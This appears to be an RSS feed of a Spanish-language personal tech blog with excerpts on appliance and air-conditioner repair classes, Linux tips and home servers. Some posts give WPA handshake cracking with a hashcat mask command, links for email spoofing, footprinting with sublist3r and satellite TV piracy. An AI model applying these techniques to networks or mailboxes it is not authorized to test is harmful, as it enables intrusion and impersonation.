https://imlauera.github.io/post/windows_sharing_folder/
Sun, 04 Aug 2024 01:25:22 -0300
https://imlauera.github.io/post/windows_sharing_folder/
<p>Botón derecho en el icono de Internet -> Recursos compartidos -> Cambiar avanzadas opciones de compartir -> Seleccioná la primer opción en todos los perfiles, y Todas las redes en la última opción seleccioná deshabilitar protección por contraseña.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 5) - Cálculo de Balance Térmico. Presión manométrica. Preguntas de exámen. Fotos aire armado/desarmado.
https://imlauera.github.io/post/5ta_clase_instalacion_aires/
Sat, 03 Aug 2024 13:18:29 -0300
https://imlauera.github.io/post/5ta_clase_instalacion_aires/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/N1QM4t30mqw">https://youtu.be/N1QM4t30mqw</a></p>
<h4 id="o-miralo-en-alguna-instancia-de-invidious">O miralo en alguna instancia de invidious.</h4>
<p><a href="https://redirect.invidious.io/watch?v=N1QM4t30mqw">https://redirect.invidious.io/watch?v=N1QM4t30mqw</a></p>
<h5 id="el-examen-práctico-consiste-en-cablear-este-aire">El examen práctico consiste en cablear este aire:</h5>
<p>Aire desarmado:<br>
<img src="https://imlauera.github.io/img/5ta_clase_aires/IMG_20240803_111815162_HDR.jpg" alt="Aire desarmado">
Aire armado: <br>
<img src="https://imlauera.github.io/img/5ta_clase_aires/IMG_20240803_111802433_HDR.jpg" alt="Aire armado">
Aire ventana: <br>
<img src="https://imlauera.github.io/img/5ta_clase_aires/IMG_20240803_120104798.jpg" alt="Aire ventana">
Aire: <br>
<img src="https://imlauera.github.io/img/5ta_clase_aires/IMG_20240803_120152665.jpg" alt="Aire"></p>
<h2 id="audio-de-la-clase-trascripto">Audio de la clase trascripto:</h2>
<p>Algunos lo dejan muy bien armado, o agregan cosas. Al finalizar el curso se les da el pdf.</p>
<h4 id="balance-térmico">Balance Térmico</h4>
<p>La clase pasada hablamos del balance térmico. Hablamos de dos posibles formas: una aplicación (buscar balance térmico en google play store) y la otra forma teniendo la experiencia del técnico, lado x lado x constante de 200 y eso nos da la constante de frigorías.</p>
-
[AUDIO][APUNTE] Taller reparación de electrodomésticos (Clase 5) - Lavarropas y Termotanque. Triac. Mosfet. Osciladores. Fabricar plástico para nivel el succionador (fallo común).
https://imlauera.github.io/post/5ta_clase_reparacion_electrodomesticos/
Fri, 02 Aug 2024 07:46:16 -0300
https://imlauera.github.io/post/5ta_clase_reparacion_electrodomesticos/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/LWxML1Yv3IY">https://youtu.be/LWxML1Yv3IY</a></p>
<p><a href="https://voca.ro/1hQISTl592Dx">https://voca.ro/1hQISTl592Dx</a></p>
<h4 id="o-miralo-en-invidious-es-más-ligero-y-sin-publicidad">O miralo en invidious (es más ligero y sin publicidad)</h4>
<p><a href="https://redirect.invidious.io/watch?v=LWxML1Yv3IY">https://redirect.invidious.io/watch?v=LWxML1Yv3IY</a></p>
<p>Lavarropas: auto-balance, por eso es malo lavar zapatillas en el lavarropas.<br>
Hicismos un cambio de amortiguadores</p>
<p><img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164015497.jpg" alt="lavarropas"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164034577.jpg" alt="termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164148125.jpg" alt="tapa termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164149252.jpg" alt="tapa termotanque2"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164202579.jpg" alt="tapa termotanque3"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164209363.jpg" alt="termotanque interior"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164229792_HDR.jpg" alt="termotanque interior"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_164906410.jpg" alt="midiendo continuidad termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_165552890.jpg" alt="termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_165556439.jpg" alt="termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_165602193.jpg" alt="termotanque sacando tuerca"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_170056048.jpg" alt="termotanque"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_170103998.jpg" alt="resistencia y sensor temperatura"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_170101031.jpg" alt="resistencia y sensor temperatura"><br>
<img src="https://imlauera.github.io/img/clase5_electrodomesticos/IMG_20240801_170501204.jpg" alt="IMG_20240801_170501204.jpg"></p>
<h4 id="apuntes">Apuntes</h4>
<p>Cuando estudiamos vamos a encontrar la placa y el periférico.
El periférico son todos los otros componentes que tiene el lavarropas.</p>
-
Home server general
https://imlauera.github.io/post/home_server_general/
Fri, 02 Aug 2024 06:04:49 -0300
https://imlauera.github.io/post/home_server_general/
<h4 id="lee-la-wiki-y-ayuda-contribuyendo">¡LEE LA WIKI! Y ayuda contribuyendo:</h4>
<p><a href="https://wiki.installgentoo.com/wiki/Home_server">https://wiki.installgentoo.com/wiki/Home_server</a></p>
<h5 id="guía-de-casos-nas-siéntase-libre-de-agregarle">Guía de casos NAS. Siéntase libre de agregarle:</h5>
<p><a href="https://wiki.installgentoo.com/wiki/Home_server/Case_guide">https://wiki.installgentoo.com/wiki/Home_server/Case_guide</a></p>
<p>¿Sabes todo sobre NAS? Aprenda la virtualización. ¿Activó algunas máquinas virtuales? Obtenga información sobre redes instalando una caja OPNsense/PFsense y configurando algunas VLAN. Siempre hay más que aprender y oportunidades de crecer. ¿Crees que ya eres nivel dios? Configure OpenStack e informe.</p>
<h4 id="qué-software-debo-ejecutar">¿Qué software debo ejecutar?</h4>
<p>Instalar Gentoo. O cualquier sabor de *nix que sea mejor para el trabajo o que le resulte más cómodo. Jellyfin/Emby/Plex reemplazará a Netflix, Nextcloud reemplazará a Googlel, Ampache/Navidrome reemplazará a Spotify, y la lista continúa. Mire la increíble lista autohospedada y pregunte.</p>
-
El verdadero costo de las redes sociales: los "me gusta" (likes) nos manipulan
https://imlauera.github.io/post/el_verdadero_costo/
Thu, 01 Aug 2024 09:57:04 -0300
https://imlauera.github.io/post/el_verdadero_costo/
<p>Aunque las redes sociales no exigen un pago monetario directo, los usuarios “pagan” con sus datos personales y su privacidad. Estas plataformas recopilan una gran cantidad de información para venderte productos, impulsando así un consumo masivo. Por ejemplo, YouTube decidió eliminar la opción de “no me gusta” como estrategia para maximizar el consumo de contenido y publicidad. YouTube lo hizo recién el año pasado, Instagram nunca los tuvo.</p>
<p>Además de eso, los me gusta y los “retweets” son una forma rara de comunicación, fueron creados con el único propósito de manipular a la sociedad haciéndola más consumista y estúpida.</p>
-
Generacion de imágenes con meta ai y copilot de Bing
https://imlauera.github.io/post/generacion_de_imagenes_con_metaai_bing/
Thu, 01 Aug 2024 04:18:23 -0300
https://imlauera.github.io/post/generacion_de_imagenes_con_metaai_bing/
<p><a href="https://www.bing.com/chat">https://www.bing.com/chat</a></p>
<p><a href="https://meta.ai/">https://meta.ai/</a></p>
-
[AUDIO][APUNTE] Taller de Instalación y Reparación de aires acondicionados (Clase 4) - Dictado. Definiciones. Watts/BTU/Frigorías.
https://imlauera.github.io/post/4ta_clase_instalacion_aire/
Mon, 29 Jul 2024 05:23:44 -0300
https://imlauera.github.io/post/4ta_clase_instalacion_aire/
<h4 id="audio-de-la-clase">Audio de la clase:</h4>
<p><a href="https://youtu.be/LoXVq-A2ozs">https://youtu.be/LoXVq-A2ozs</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=LoXVq-A2ozs">https://redirect.invidious.io/watch?v=LoXVq-A2ozs</a></p>
<p>En equipos más grandes ese tramo de caño que tenés hasta el evaporador también actúa como condensador por lo tanto es más caliente.</p>
<h3 id="presión-de-la-refrigeración">Presión de la refrigeración</h3>
<p>La presión se genera por los refrigerantes por el medio de los conductos. Vamos a utilizar un instrumento de medición que es el manovacuometro. Para calibrar la rueda de un vehículo vamos a utilizar un manómetro, pero cuando hacemos una refrigeración necesitamos un manovacuometro, son dos instrumentos fusionados en 1 sólo. Vacuometro que sirve para medir presiones negativas por debajo del 0 grados, por debajo de la presión atmosférica (la presión atmosférica es el 0 grados centígrafos).
Por debajo de la atmósfera vamos a tener la misma graduación pero -1,-2,-3 por encima serán presiones positivas y por debajo presiones negativas. Cuando compramos un manómetro en cualquier lugar tenemos el riesgo de comprar un manómetro sin vacuometro el tensiometro que usamos para medir la presión es un manómetro.</p>
-
Bloquear publicidad y malware a través de la red usando Pihole
https://imlauera.github.io/post/pihole/
Sun, 28 Jul 2024 06:56:12 -0300
https://imlauera.github.io/post/pihole/
<p>Podés instalar esto en una raspberry pi y bloquear toda la publicidad, si tenés un smart-TV que no tiene android.</p>
<p><a href="https://pi-hole.net/">https://pi-hole.net/</a></p>
<p>Es un sistema operativo basado en Debian, tenés que instalarlo y enrutar todo el tráfico de tu red por esa computadora o raspberry que tiene pihole.</p>
<p>Un comando que instala todo:</p>
<p><a href="https://github.com/pi-hole/pi-hole/#one-step-automated-install">https://github.com/pi-hole/pi-hole/#one-step-automated-install</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sSL https://install.pi-hole.net | bash
</span></span></code></pre></div>
-
Acerca de Mi
https://imlauera.github.io/acerca/
Sat, 27 Jul 2024 03:01:07 -0300
https://imlauera.github.io/acerca/
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibTZpY6ITsc94shzmAKaxA53An4idXekKS6G863WLyAZNNn4G-hGVICzACVOIBvrOdbAOpYxJDhdCwQ7Io2ABRv_Gtw-bnbwK598ZLhaW0X3X3W7NNY18B_4-kDjiVyMAvFaJSlm5vQZq7TS3BOOi06_6oBS4hU0GdnOlP5Ai4yToasV65US5GWlzIGIVV/s360/me.png" alt=""></p>
<p>Todo lo que necesitás saber sobre mi está en <a href="https://imlauerandres.github.io">https://imlauerandres.github.io</a></p>
<p>Comencé con Ubuntu en 2006, gracias a un amigo que me mostró algo más que Windows. Siempre trabajé reparando PC y laptops.</p>
<p>Ahora tengo más de 10 años de experiencia en Server Linux. Puedo gestionar servidores dedicados, servidores VPS, servidores compartidos, etc.</p>
<p>Sé configurar y administrar servidores; Apache/Nginx/Tomcat. Postfix SMTP, Palomar POP/IMAP. FTP Vsftpd, Proftpd, Pure-ftpd-mysql. Dns Bind9, dnsmasq. Servidor de archivos e impresora Samba (dc-ac). Administrador de red: isc-server-dhcp, openvpn, etc. Instalar y renovar certificado SSL. Todos los servicios en la nube; AWS, Azure, etc. También migraciones de sitios web y correo electrónico. TODOS los paneles y gestores web. Manejo de todas las distribuciones Linux.</p>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 4) - Capacitores, Transformadores - Fuente lineal, switching o conmutada, y capacitiva. Rectificador onda completa. Núcleo ferrita, núcleo hierro.
https://imlauera.github.io/post/4ta_clase_reparacion_electrodomesticos/
Fri, 26 Jul 2024 04:31:20 -0300
https://imlauera.github.io/post/4ta_clase_reparacion_electrodomesticos/
<h2 id="audio-de-la-clase">Audio de la clase:</h2>
<p><a href="https://youtu.be/OSlqnhmQsMQ">https://youtu.be/OSlqnhmQsMQ</a></p>
<p><a href="https://vocaroo.com/1dD9MmKu95UO">https://vocaroo.com/1dD9MmKu95UO</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=OSlqnhmQsMQ">https://redirect.invidious.io/watch?v=OSlqnhmQsMQ</a></p>
<p><strong>Para que sirve el siguiente elemento:</strong>
<img src="https://imlauera.github.io/img/4ta_clase_electrodomesticos/elemento.jpg" alt="elemento extraño"></p>
<p><img src="https://imlauera.github.io/img/4ta_clase_electrodomesticos/capacitor.jpg" alt="capator">
<img src="https://imlauera.github.io/img/4ta_clase_electrodomesticos/capacitores2.jpg" alt="diferentes capacitores">
<img src="https://imlauera.github.io/img/4ta_clase_electrodomesticos/pizarron.jpg" alt="dibujo pizarrón">
<img src="https://imlauera.github.io/img/4ta_clase_electrodomesticos/taladro.jpg" alt="taladro"></p>
<p>Al no tener osciloscopio creo ese elemento y medir los pulsos de la fuente switching es difícil porque es muy alta, tampoco se puede medir con tester porque te quemará el tester y es necesario saber si está funcionando la fuente o no. Si está funcionando hasta antes del transformador el oscilor, si le pongo eso, como eso es un foco de neon entonces sí titila, NO puedo contar la frecuencia, pero por lo menos me da un acercamiento de que está funcionando hasta ahí, entonces ahí si yo puedo decir, el transformador es el que está mal. Sin eso no puedo saber si es el transformador o la fuente.
<strong>El tester quema porque no tiene alta frecuencia para medir transformadores de alta frecuencia</strong>
Todo viene sin la batería la pinza, el tester y el buscapolo.
Buscapolo digital es mejor porque se puede decir si es una descarga directa o si es una corriente de inducción. Aparte es mejor porque el analógico hace una lucesita y no se ve a la luz del sol.</p>
-
Por qué Linux todavía no compite contra MacOS y Windows en el desktop
https://imlauera.github.io/post/marketing_reflexion/
Fri, 26 Jul 2024 01:41:44 -0300
https://imlauera.github.io/post/marketing_reflexion/
<p>Contribuir código para Linux es altamente exigente, sólo las mentes más prodigiosas llegan a hacerlo, Linux es complementa gratis y está mucho mejor programado que Windows y que MacOS. Sin embargo Linux no es el “sistema operativo”[1] más usado.</p>
<h4 id="por-qué-linux-es-menos-usado-que-windows-y-de-macos">¿Por qué Linux es menos usado que Windows y de MacOS?</h4>
<p>Aunque el número de usuarios de Linux ha ido incrementando todavía estamos lejos de competir contra Windows en el escritorio.</p>
-
Como recuperar archivos de audio corruptos
https://imlauera.github.io/post/como_recuperar_archivos_de_audio_corruptos/
Thu, 25 Jul 2024 20:24:37 -0300
https://imlauera.github.io/post/como_recuperar_archivos_de_audio_corruptos/
<h3 id="si-tenés-algún-archivo-de-audio-corrupto-no-lo-borrés">Si tenés algún archivo de audio corrupto ¡NO LO BORRÉS!</h3>
<p>Descargá faad, faac, un editor de hexadecimal o podés usar VIM.</p>
<h3 id="gnulinux">GNU/Linux:</h3>
<p><code>sudo apt install -y faad faac hexedit</code>
<code>sudo pacman -S faad faac</code></p>
<h3 id="windows">Windows:</h3>
<p>En Windows tendrás que bajar manualmente cada programa y ponerlos todo en la misma carpeta junto con los archivos de audio a recuperar.
Descargá faad y faac acá:
<a href="https://rarewares.org/aac-decoders.php">https://rarewares.org/aac-decoders.php</a>
Descargá un editor hexadecimal para Windows:
<a href="http://download.cnet.com/HxD-Hex-Editor/3000-2352_4-10891068.html">http://download.cnet.com/HxD-Hex-Editor/3000-2352_4-10891068.html</a> o <a href="http://mh-nexus.de/en/downloads.php?product=HxD">http://mh-nexus.de/en/downloads.php?product=HxD</a>
Extraelo y ejecutá setup.exe y para instalarlo.</p>
-
Ethical hacking
https://imlauera.github.io/post/ethical_hacking/
Wed, 24 Jul 2024 22:57:44 -0300
https://imlauera.github.io/post/ethical_hacking/
<h2 id="footprinting">Footprinting</h2>
<p>Es una técnica que se usa para juntar la máxima cantidad de información posible acerca de un target en específico para aprovechar la parte más vulnerable del sistema para atacar.</p>
<h4 id="búsqueda-de-subdominios">Búsqueda de subdominios.</h4>
<p>Google dork: site google.com -inurl:www
O usando el comando sublist3r en kali: <code>sublist3r -d google.com</code></p>
<h3 id="obteniendo-información-sobre-la-empresa">Obteniendo información sobre la empresa</h3>
<p>Podemos usar <a href="https://opencorporates.com">https://opencorporates.com</a> para obtener direcciones, números de teléfonos, correos electrónicos, que tipo de servicios están dando, y demás información. Podemos filtrar por país y por diferentes tipos de información.
Podemos usar <a href="https://archive.com">https://archive.com</a> y google dorks para buscar capturas viejas de la página en búsqueda de alguna información jugosa.</p>
-
Consulta y repaso Aire Acondicionados
https://imlauera.github.io/post/consulta_repaso_aire_acondicionado/
Wed, 24 Jul 2024 17:36:39 -0300
https://imlauera.github.io/post/consulta_repaso_aire_acondicionado/
<h4 id="aire-1">Aire 1</h4>
<h4 id="en-esta-foto-el-caño-blanco-está-congelado">En esta foto el caño blanco está congelado.</h4>
<p><img src="https://imlauera.github.io/img/aires/aire1.jpg" alt="/img/aires/aire1.jpg"></p>
<h4 id="aire-2">Aire 2</h4>
<p><img src="https://imlauera.github.io/img/aires/aire2.jpg" alt="/img/aires/aire2.jpg"></p>
<h4 id="aire-3">Aire 3</h4>
<p><img src="https://imlauera.github.io/img/aires/aire3.jpg" alt="/img/aires/aire3.jpg"></p>
<h3 id="trampa-de-aceite">Trampa de aceite</h3>
<p><img src="https://imlauera.github.io/img/aires/trampa_aceite.jpg" alt="/img/aires/trampa_aceite.jpg"></p>
<p>Preguntar: ¿El ventilador del inverter tiene 5 cables?
El inverter se quemó el ventilador interno.</p>
<p>¿Cuándo se quema un ventilador interno?</p>
<p>En donde se conecta la garrafa de refrigerante es en la unidad exterior caño grueso.
El caño fino se está congelado, es el de alta presión que debería estar re caliente.</p>
-
Como enviar un mensaje anónimo: Email spoofing
https://imlauera.github.io/post/email_spoofing/
Tue, 23 Jul 2024 17:29:31 -0300
https://imlauera.github.io/post/email_spoofing/
<p><a href="https://kalilinuxtutorials.com/email-spoofing/">https://kalilinuxtutorials.com/email-spoofing/</a>
<a href="https://rutube.ru/video/9b00a49439370640e48de5fa49075724/">https://rutube.ru/video/9b00a49439370640e48de5fa49075724/</a></p>
<p><a href="https://stackoverflow.com/questions/9763455/how-to-send-a-mail-directly-to-smtp-server-without-authentication">https://stackoverflow.com/questions/9763455/how-to-send-a-mail-directly-to-smtp-server-without-authentication</a></p>
<h4 id="lista-de-servidores-smtp-gratuitos--servidores-smtp">Lista de servidores SMTP gratuitos – Servidores SMTP</h4>
<p><a href="https://www.e-eeasy.com/free-smtp-server-list-smtp-servers/">https://www.e-eeasy.com/free-smtp-server-list-smtp-servers/</a></p>
<p><a href="https://community.spiceworks.com/t/email-spoofing/785619/2">https://community.spiceworks.com/t/email-spoofing/785619/2</a></p>
<p><a href="https://anonymousemail.me/">https://anonymousemail.me/</a>
<a href="https://sendity.org/">https://sendity.org/</a>
<a href="https://www.proxynova.com/tools/send-anonymous-email/">https://www.proxynova.com/tools/send-anonymous-email/</a>
<a href="http://www.sendanonymousemail.net/">http://www.sendanonymousemail.net/</a>
<a href="https://www.5ymail.com/">https://www.5ymail.com/</a>
<a href="https://www.xwebtools.com/send-free-anonymous-email/">https://www.xwebtools.com/send-free-anonymous-email/</a>
<a href="http://sendemail.in/sent/">http://sendemail.in/sent/</a></p>
-
Decodificadores piratas
https://imlauera.github.io/post/decodificadores_piratas/
Tue, 23 Jul 2024 17:28:22 -0300
https://imlauera.github.io/post/decodificadores_piratas/
<p>Todavía puedes piratear la televisión por satélite, los métodos han cambiado a lo largo de los años. Hoy en día, se extrae directamente de la banda C, pero requiere una configuración bastante robusta para decodificar la señal en un canal. Hace unos años hubo un artículo vinculado en este subreddit a una publicación de La-Tecnologia, pero parece que no puedo encontrarlo.
Banda C - 4GHz
Banda K - 11GHz
Los HD necesitan más ancho de banda. En 11Ghz el ancho de banda del canal es más grande.
La banda C no necesita que sea llena puede ser grillada no más.
La alta frecuencia atraviesa, por eso necesita los platos metálicos.</p>
-
Saber que aplicación corre en X puerto
https://imlauera.github.io/post/saber_que_aplicacion_corre_en_el_puerto_80/
Mon, 22 Jul 2024 15:46:57 -0300
https://imlauera.github.io/post/saber_que_aplicacion_corre_en_el_puerto_80/
<p>Cualquiera de los siguientes comandos funciona:</p>
<p><code># ss -tanp | grep 6379</code></p>
<p><code>sudo netstat -nlp</code></p>
<p><code>lsof -i tcp:8080</code></p>
<p><code>netstat -ano | find "1234" | find "LISTEN"</code></p>
-
Descarga Wikipedia y StackOverflow
https://imlauera.github.io/post/descarga_wikipedia_y_stackoverflow/
Mon, 22 Jul 2024 02:54:51 -0300
https://imlauera.github.io/post/descarga_wikipedia_y_stackoverflow/
<p>Stack Overflow, el lugar de donde proviene la mayor parte de su código de producción, exporta públicamente sus datos cada dos meses. @TarynPivots (su administrador de bases de datos) tuitea al respecto y luego tiro algunas palancas e importo el volcado de datos XML al formato de SQL Server.</p>
<p><a href="https://www.brentozar.com/archive/2021/03/download-the-current-stack-overflow-database-for-free-2021-02/">Descarga StackOverFlow</a></p>
<p><a href="https://es.wikipedia.org/wiki/Wikipedia:Descargas">Descargar Wikipedia</a></p>
<h4 id="descargar-wikipedia-son-archivos-zim-necesitás-kiwix">Descargar Wikipedia (son archivos zim). Necesitás Kiwix.</h4>
<p><a href="https://download.kiwix.org/zim/wikipedia/?C=S;O=D">https://download.kiwix.org/zim/wikipedia/?C=S;O=D</a></p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 3) - Dictado. Definciones. Unidad interior, exterior. Refrigeración. Razones de congelamiento de caños. Foto Examen.
https://imlauera.github.io/post/3era_clase_instalacion_aire/
Sun, 21 Jul 2024 20:27:50 -0300
https://imlauera.github.io/post/3era_clase_instalacion_aire/
<h3 id="audio-de-la-clase">Audio de la clase:</h3>
<p><a href="https://youtu.be/V2zTPFIDFn8">https://youtu.be/V2zTPFIDFn8</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=V2zTPFIDFn8">https://redirect.invidious.io/watch?v=V2zTPFIDFn8</a></p>
<p>Hay dos exámenes.<br>
Cada examen es independiente del otro. El que no sabe la práctica no sabe la teoría. El que no sabe la práctica no sabe la teoría.</p>
<p>Hay un curso que inicia el mes que viene y termina dos meses después esa es la manera de recuperar el examen.
O sea inicia cada mes.
Cuando nos dicen que tal día termina el curso ese, tenés que venir 1 semana antes para rendir el práctico.</p>
-
Atacando redes WiFis y explotando vulnerabilidades de computadoras dentro ellas.
https://imlauera.github.io/post/atacando_wifis/
Sun, 21 Jul 2024 19:48:09 -0300
https://imlauera.github.io/post/atacando_wifis/
<p>Tools dedicadas a conseguir handshakes: handshaker, airgeddon, bettercap, angryoxide, etc, etc. Incluso hasta pasarlo por pyrit para verificarlo.</p>
<hr>
<p>No te hace falta usar espacio de disco almacenando diccionarios.
Abris un simple .txt en blanco y dentro le pones</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>004?d?d?d?d?d?d?d
</span></span><span style="display:flex;"><span>014?d?d?d?d?d?d?d
</span></span></code></pre></div><p>Lo guardas como <code>004y014mas7.hcmask</code>. Despues solo resta correr hashcat.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -O --markov-threshold<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> -m <span style="color:#ae81ff">22000</span> -a <span style="color:#ae81ff">3</span> mi_hash.HC22000 004y014mas7.hcmask -w
</span></span></code></pre></div><hr>
<p>Si es vulnerable con pixie mas wps con correr este comando es mas que suficiente y
es para cualquier distro.</p>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 3) - Ducha Eléctrica
https://imlauera.github.io/post/3era_clase_reparacion_reparaciones_electrodometicos/
Fri, 19 Jul 2024 03:29:15 -0300
https://imlauera.github.io/post/3era_clase_reparacion_reparaciones_electrodometicos/
<h3 id="audio-de-la-clase">Audio de la clase:</h3>
<p><a href="https://www.youtube.com/watch?v=FEQ6iXWc2FQ&feature=youtu.be">https://www.youtube.com/watch?v=FEQ6iXWc2FQ&feature=youtu.be</a></p>
<p><a href="https://vocaroo.com/1eCHVsZwszT6">https://vocaroo.com/1eCHVsZwszT6</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=FEQ6iXWc2FQ">https://redirect.invidious.io/watch?v=FEQ6iXWc2FQ</a></p>
<p>Hablando de la corriente alterna también existe la corriente continua pura y la corriente continua punzante.</p>
<p>Tenemos que comenzar a arreglar algo de placas.</p>
<p>Ya no hay más lavarropas que funcionen con timer mecánico ya vienen todos con placas. Y dentro de esas placas hay cosas que es posible arreglar sin un estudio de electrónica.</p>
<p>O sea necesitamos saber que es lo que está fallando si es en la parte mecánica o si es en la parte electrónica.</p>
-
Comandos para obtener informacion acerca de tu hardware
https://imlauera.github.io/post/comandos_para_obtener_informacion_acerca_de_tu_hardware/
Wed, 17 Jul 2024 23:46:43 -0300
https://imlauera.github.io/post/comandos_para_obtener_informacion_acerca_de_tu_hardware/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>wmic
</span></span><span style="display:flex;"><span>cpu get name
</span></span><span style="display:flex;"><span>os get Caption, OSArchitecture
</span></span><span style="display:flex;"><span>diskdrive get model, size
</span></span><span style="display:flex;"><span>logicaldisk get name, Size
</span></span><span style="display:flex;"><span>sounddev get Caption
</span></span><span style="display:flex;"><span>product get name
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Guardalos en un archivo:
</span></span><span style="display:flex;"><span>#<span style="color:#75715e">###</span>
</span></span><span style="display:flex;"><span>wmic cpu get name >> cpuinfo.txt
</span></span></code></pre></div>
-
Algoritmos y estructura de datos en C
https://imlauera.github.io/post/algoritmos_y_estructura_de_datos_en_c/
Mon, 15 Jul 2024 23:37:47 -0300
https://imlauera.github.io/post/algoritmos_y_estructura_de_datos_en_c/
<p><a href="https://imlauera.github.io/EDyA.zip">/EDyA.zip</a></p>
-
Audio to mp4 rápido (para subir audios a youtube)
https://imlauera.github.io/post/ffmpeg_audio_to_mp4/
Sat, 13 Jul 2024 22:04:45 -0300
https://imlauera.github.io/post/ffmpeg_audio_to_mp4/
<p>Here is a full explanation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i image.jpg -i audio.mp3 -c:v libx264 -tune stillimage -c:a copy out.mp4
</span></span></code></pre></div><ul>
<li>
<p><code>c:v libx264</code>: use x264 to encode video.</p>
</li>
<li>
<p><code>tune stillimage</code>: x264 setting to optimize video for still image encoding</p>
</li>
<li>
<p><code>c:a copy</code>: copies the codec used for the input audio. You may change this if you want a different audio codec.</p>
</li>
</ul>
<p>I did not use <code>-loop 1</code> or <code>-shortest</code>. <code>-loop 1</code> drastically slows down the encoding and creates a larger file. -shortest should not be used without <code>-loop 1</code> since then the video will be one frame long. However YouTube does not like videos with one frame (see PJ Brunet’s answer) so then both options should be used.</p>
-
How to add dwm to xsessions
https://imlauera.github.io/post/how_to_add_dwm_to_xsessions/
Sat, 13 Jul 2024 18:00:21 -0300
https://imlauera.github.io/post/how_to_add_dwm_to_xsessions/
<p>Crea un bash script llamado startdwm:</p>
<pre tabindex="0"><code>$ cat /usr/bin/startdwm
while true ; do xsetroot -name "$(cat /sys/class/thermal/thermal_zone4/temp) | `date`"; sleep 20; done &
keynav &
brightnessctl s 30% &
mbsync -a &
st -e neomutt &
exec dwm
</code></pre><p>Guardalo en <code>/usr/bin</code>
Ahora andá a <code>/usr/share/xsessions/</code>, copiá una existente y pone Exec=startdwm o podés usar esta:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat /usr/share/xsessions/dwm.desktop
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Desktop Entry<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Version<span style="color:#f92672">=</span>1.0
</span></span><span style="display:flex;"><span>Name<span style="color:#f92672">=</span>DWM
</span></span><span style="display:flex;"><span>Comment<span style="color:#f92672">=</span>Use this session to run DWM as your desktop environment
</span></span><span style="display:flex;"><span>Exec<span style="color:#f92672">=</span>startdwm
</span></span><span style="display:flex;"><span>Icon<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>Application
</span></span></code></pre></div><p>Esto es todo</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 2) - Funcionamiento de un aire. Unidad interior, exterior. Gráfico de partes del AC.
https://imlauera.github.io/post/2da_clase_reparacion_aires_acondicionados/
Sat, 13 Jul 2024 17:57:17 -0300
https://imlauera.github.io/post/2da_clase_reparacion_aires_acondicionados/
<h3 id="audio-de-la-clase">Audio de la clase</h3>
<p><a href="https://www.youtube.com/watch?v=JMAuPRqMgcA">https://www.youtube.com/watch?v=JMAuPRqMgcA</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=JMAuPRqMgcA">https://redirect.invidious.io/watch?v=JMAuPRqMgcA</a></p>
<p><img src="https://imlauera.github.io/img/ciclos_de_refrigeracion.jpg" alt="/img/ciclos_de_refrigeracion.jpg"></p>
<p>Profesor: Enzo
Lleva 4 años enseñando.
Queda para nosotros para reconocer otros equipos antes del inverter.
Hay muchisima tecnología antes del inverter.
